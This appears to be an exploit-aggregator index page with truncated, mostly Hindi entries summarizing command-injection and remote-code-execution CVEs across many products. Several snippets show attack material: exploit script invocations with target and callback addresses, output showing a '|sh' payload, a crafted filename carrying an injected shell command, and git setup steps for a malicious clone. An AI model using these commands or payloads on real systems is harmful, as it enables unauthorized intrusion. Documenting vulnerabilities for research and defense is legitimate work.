CVE-2019-11539

CVE-2019-11539 मूल खोज: Orange Tsai, Meh Chang लेखक: Justin Wagner, Alyssa Herrera धन्यवाद: Orange, Meh Chang, Rich Warren, Alyssa, Mimir भेद्यता विवरण Pulse Secure Pulse Connect Secure संस्करण 9.0RX 9.0R3.4 से पहले, 8.3RX 8.3R7.1 से पहले, 8.2RX 8.2R12.1 से पहले, और 8.1RX 8.1R15.1 से पहले तथा Pul...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 MCPJam Inspector 3. एक्सप्लॉइट प्रारंभ करें python3 CVE-2026-23744.py -u -i -p 4. बेहतर उपयोग के लिए मैं सुझाव देता हूँ कि टर्मिनल को पूरी तरह कार्यात्मक बनाने के लिए अपडेट करें, अन्यथा आप ctrl^c जैसे कमांड का उपयोग नहीं कर पाएँगे। उदाहरण इस एक्सप्लॉ...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCE शोषण भेद्यता विवरण MCPJam Inspector में /api/mcp/connect एंडपॉइंट पर एक अनप्रमाणित दूरस्थ कोड निष्पादन RCE भेद्यता मौजूद है। यह भेद्यता हमलावरों को एक दुर्भावनापूर्ण MCP सर्वर कॉन्फ़िगरेशन पेलोड भेजकर मनमाने कमांड निष्पादित करने की अनुमति देती है। यह एंडपॉइंट एक...

Astra Linux – Vulnerability in Node.js

A OS command injection vulnerability exists in Node.js versions 14.20.0, 16.20.0, 18.5.0 due to an insufficient IsAllowedHost check. This vulnerability can be easily exploited, as the IsIPAddress function does not properly check whether an IP address is invalid before making DBS requests, thereby...

Astra Linux – Vulnerability in FontForge

Splinefont in FontForge, with a version number of 20230101, allows for command injection through crafted archives or compressed files...

Astra Linux – Vulnerability in Zabbix

Zabbix allows for the configuration of SMS notifications. AT command injection occurs on the “Zabbix Server” because there is no validation of the “Number” field either on the web interface or on the Zabbix server side. An attacker can send specially crafted phone numbers via SMS and execute...

Astra Linux – Vulnerability in cifs-utils

It was discovered that cifs-utils’ mount.cifs function invoked a shell when requesting the Samba password, which could be exploited to inject arbitrary commands. An attacker who had special permissions, such as those through sudo rules, could use this vulnerability to escalate their privileges...

Astra Linux – Vulnerability in Composer

Composer is a dependency manager for PHP. On the 2.x branch, before versions 2.2.24 and 2.7.7, the composer install command executed within a Git/HG repository with specially crafted branch names could lead to command injection. This required cloning untrusted repositories. Patches are available ...

patch-CVE-2026-04321

पैच: CVE-2026-04321 भेद्यता विवरण CVE : CVE-2026-04321 उत्पाद : Zyxel फ़ायरवॉल विवरण : OS कमांड इंजेक्शन गंभीरता : गंभीर पैच स्थिति: तैनात फ़ील्ड| मान ---|--- पैच दिनांक| 2026-01-28 स्थिति| तैनात तैनाती स्थान| प्रोडक्शन सत्यापनकर्ता| SecOps टीम संदर्भ NVD CISA KEV...

POC-CVE-2026-19681

CVE-2026-19681 — फ़ाइल अपलोड प्रोसेसिंग में कमांड इंजेक्शन प्रमाणित स्थिति: पुष्टिकृत 6.7.2-14.el9 लैब पर 2026-08-20। स्टेज्ड फ़ाइलनाम p;sleep$IFS20;-EvvfJk POST /rest/file/upload के माध्यम से context प्रीफ़िक्स में मेटाकैरेक्टर होते हैं, फिर POST /rest/auditFile type=scapLinux, version=1.2 ठीक...

CVE-2026-4480

एक्सप्लॉइट निष्पादित करें: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API रिमोट कोड निष्पादन Hoverfly ≤ 1.11.3 में OS कमांड इंजेक्शन के माध्यम से प्रमाणित RCE भेद्यता सारांश गुण| मान ---|--- CVE पहचान| CVE-2025-54123 CVSS स्कोर| 9.8 — गंभीर CVSS वेक्टर| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS कमांड इंजेक्शन,...

CVE-2021-46704

GenieACS में OS कमांड इंजेक्शन CVE-2021-46704 CVE-2021-46704 Nuclei टेम्पलेट संदर्भ : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2022-46169

Cacti remoteagent.php रिमोट कमांड निष्पादन भेद्यता CVE-2022-46169 भेद्यता विवरण Cacti एक सर्वर निगरानी और प्रबंधन प्लेटफॉर्म है। इसके संस्करण 1.2.17-1.2.22 में एक कमांड इंजेक्शन भेद्यता मौजूद है, जिसके माध्यम से हमलावर X-Forwarded-For अनुरोध हेडर के माध्यम से सर्वर-साइड सत्यापन को बायपास कर सकता ...

CVE-2022-36804

CVE-2022-36804 - एटलैसियन बिटबकेट सर्वर और डेटा सेंटर कमांड इंजेक्शन भेद्यता ⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए मूल शोषण लेखक मूल PoC लेखक Walnut Security Services Pvt. Ltd के प्रति अत्यंत आभारी हैं विवरण Atlassian Bitbucket Server और Data Center 7.0.0 संस्करण 7.6.17 से...

CVE-2020-24032

CVE-2020-24032 सुझावित विवरण XoruX LPAR2RRD और STOR2RRD 2.70 वर्चुअल उपकरणों पर tz.pl, समय क्षेत्र में शेल मेटाकैरेक्टर के माध्यम से cmd=set&tz=OS कमांड इंजेक्शन की अनुमति देता है। भेद्यता प्रकार अन्य OS कमांड इंजेक्शन उत्पाद के विक्रेता XoruX s.r.o. प्रभावित उत्पाद कोड आधार LPAR2RRD और STOR2RRD...

smb_usermap

smbusermap CVE-2007-2447 के लिए एक सरल शोषण, जो Samba 3.0.20 में मौजूद है। आप इस भेद्यता का शोषण इससे भी कम के साथ कर सकते हैं, उदाहरण के लिए, smbclient के साथ, लेकिन मुझे लगता है कि जटिल कमांड करना कठिन है, क्योंकि बहुत सारे विशेष वर्ण शायद खत्म हो जाते हैं, लेकिन एक साधारण कमांड इस मामले में...

CVE-2024-32004

tmp रिपॉजिटरी बनाएँ, uploadpack.allowfilter को true पर सेट करें git init tmp git -C tmp config uploadpack.allowfilter 1 tmp रिपॉजिटरी से evil क्लोन करें git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp रिमोट फ़िल्टर स्क्रिप्ट कॉन्फ़िगर करें git -C evil config...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript कमांड इंजेक्शन भेद्यता PoC CVE-2023-36664 Ghostscript के संस्करण 10.01.2 से पहले की भेद्यता कोड निष्पादन की ओर ले जाती है CVSS स्कोर 9.8। आधिकारिक भेद्यता विवरण: Artifex Ghostscript 10.01.2 तक पाइप उपकरणों %pipe% उपसर्ग या | पाइप कैरेक्टर उपसर्ग के साथ के लिए अनुमति सत्यापन को गलत तरी...

CVE-2026-75616

CVE-2026-75616 حقن أوامر نظام التشغيل بعد المصادقة في واجهة إدارة الويب الخاصة بجهاز TP-Link Archer C20 v6. يتم تمرير قيم إعدادات BPA WAN إلى system دون تحييدٍ كافٍ، مما يسمح لمسؤول مصادَق على الشبكة المجاورة بتنفيذ أوامر بصلاحيات root. تم الاكتشاف والإبلاغ بواسطة Daniil Gordeev totekuh. الإصدارا...